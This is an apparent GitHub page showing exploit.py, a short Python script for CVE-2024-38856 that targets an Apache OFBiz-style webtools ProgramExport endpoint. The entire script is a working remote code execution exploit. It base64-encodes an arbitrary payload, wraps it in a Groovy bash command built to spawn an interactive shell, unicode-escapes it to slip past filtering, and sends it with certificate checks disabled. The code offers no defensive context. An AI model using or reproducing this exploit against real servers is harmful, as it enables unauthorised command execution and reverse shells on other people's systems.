-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit.py
48 lines (35 loc) · 1.52 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import sys
import argparse
import base64
import urllib3
#Suppressing warnings related to insecure web requests in Python
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def ascii():
art = print(""" _ _ _ _ _ ___ _
| || |__ _ __| |__ | |_| |_ ___ | _ \ |__ _ _ _ ___| |_
| __ / _` / _| / / | _| ' \/ -_) | _/ / _` | ' \/ -_) _|
|_||_\__,_\__|_\_\ \__|_||_\___| |_| |_\__,_|_||_\___|\__|
""")
return art
def exploit(targetURL,payload):
revShellBase64 = base64.b64encode(payload.encode()).decode()
#Unicode Encoding the base64 payload
finalPayload = f'["bash", "-c", "{{echo,{revShellBase64}}}|{{base64,-d}}|{{bash,-i}}"].execute().text'
unicode_escape_payload = finalPayload.encode('unicode_escape').decode('ascii')
exploitURL = f"{targetURL}webtools/control/main/ProgramExport"
data = f"groovyProgram={unicode_escape_payload}"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
sendPayload = requests.get(exploitURL, params=data, headers=headers, verify=False)
def main():
parser = argparse.ArgumentParser(description="CVE-2024-38856")
parser.add_argument("url", help="The target URL")
parser.add_argument("payload", help="The payload")
args = parser.parse_args()
try:
ascii()
return(exploit(args.url, args.payload))
except Exception as e:
sys.exit(f"Some error occured: {e}")
if __name__ == "__main__":
main()